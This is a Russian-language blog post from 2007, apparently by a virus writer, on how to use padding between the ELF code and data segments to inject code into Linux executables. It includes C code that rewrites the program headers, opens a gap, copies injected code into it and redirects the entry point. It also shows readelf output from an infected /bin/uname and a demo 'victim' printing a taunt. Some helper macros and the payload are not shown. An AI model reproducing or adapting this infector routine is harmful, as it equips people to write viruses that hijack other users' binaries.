herm1t LIVE!ng room - К вопросу о выравнивании сегментов [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

К вопросу о выравнивании сегментов [Oct. 12th, 2007|01:45 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
[Current Mood | excited]

Пока я раздумывал, над тем, как "собирать" сегменты и секции в ELF-файлах, у меня постоянно вертелось в голове offset + 0x1000, offset + 0x1000, co-aligned offset/address... Вспомнил я также, вот эту картинку из статьи Сильвио:
Page Nr
#1	[TTTTTTTTTTTTTTTT]		<- Part of the text segment
#2	[TTTTTTTTTTTTTTTT]		<- Part of the text segment
#3	[TTTTTTTTTTTTPPPP]		<- Part of the text segment
#4	[PPPPDDDDDDDDDDDD]		<- Part of the data segment
#5	[DDDDDDDDDDDDDDDD]		<- Part of the data segment
#6	[DDDDDDDDDDDDPPPP]		<- Part of the data segment
На самом деле, лучше нарисовать её вот так:
[TTTTTTTT]
[TTTTTppp]
[pppppDDD]
[DDDDDDDD]
Странно, что никто не пользуется выравниванием в сегменте данных. А между тем, если пораскинуть мозгами, то становится очевидно, что почти для всех ELF-файлов (с последовательно идущими сегментами кода и данных), сумма длин алигментов сегментов равна 4096 байт. Исключением являются только те файлы, у которых сегмент данных начинается по адресу кратному 4096. Для таких файлов размер "дырки" в памяти будет равен длине выравнивания сегмента кода, то есть, как в оригинальном способе заражения. Соотношение количества тех и других, для /bin в моей системе 2:1.

А теперь немного кода:

        u = 0;
        phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
        for (i = 0; i < ehdr->e_phnum; i++)
                if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0
                && (i + 1) < ehdr->e_phnum && phdr[i + 1].p_type == PT_LOAD) {
                        if (phdr->p_filesz != phdr->p_memsz)
                                break;
                        u++;
                        break;
                }
        assert(u != 0);

        uint32_t        dp, tp, ve, vo;
        
        vo = phdr[i].p_filesz;
        ve = phdr[i].p_vaddr + phdr[i].p_filesz;
        tp = 4096 - (phdr[i].p_filesz & 4095);
        dp = phdr[i + 1].p_vaddr - (phdr[i + 1].p_vaddr & ~4095);

        phdr[i].p_memsz         += tp;
        phdr[i].p_filesz        += tp;
        
        phdr[i+1].p_vaddr       -= dp;
        phdr[i+1].p_paddr       -= dp;
        phdr[i+1].p_offset      += tp;
        phdr[i+1].p_filesz      += dp;
        phdr[i+1].p_memsz       += dp;

        for (i = i + 2; i < ehdr->e_phnum; i++)
                if (phdr[i].p_offset >= vo)
                        phdr[i].p_offset += tp + dp;
        MAKE_HOLE(vo, tp + dp);
        SHIFT_SHDRS(vo, tp + dp);
        memset(m + vo, 0x90, tp + dp);
        memcpy(m + vo, code, code_len);
        ehdr->e_entry = ve;
Что изменилось (/bin/uname):
<   LOAD           0x000000 0x08048000 0x08048000 0x032b8 0x032b8 R E 0x1000
<   LOAD           0x0032b8 0x0804c2b8 0x0804c2b8 0x00662 0x00662 RW  0x1000
<   DYNAMIC        0x0033e0 0x0804c3e0 0x0804c3e0 0x000c8 0x000c8 RW  0x4
---
>   LOAD           0x000000 0x08048000 0x08048000 0x04000 0x04000 R E 0x1000
>   LOAD           0x004000 0x0804c000 0x0804c000 0x0091a 0x0091a RW  0x1000
>   DYNAMIC        0x0043e0 0x0804c3e0 0x0804c3e0 0x000c8 0x000c8 RW  0x4
Вроде всё. Ж-)
$ ./victim
ALL YOUR BASE ARE BELONG TO US!
Linux
LinkLeave a comment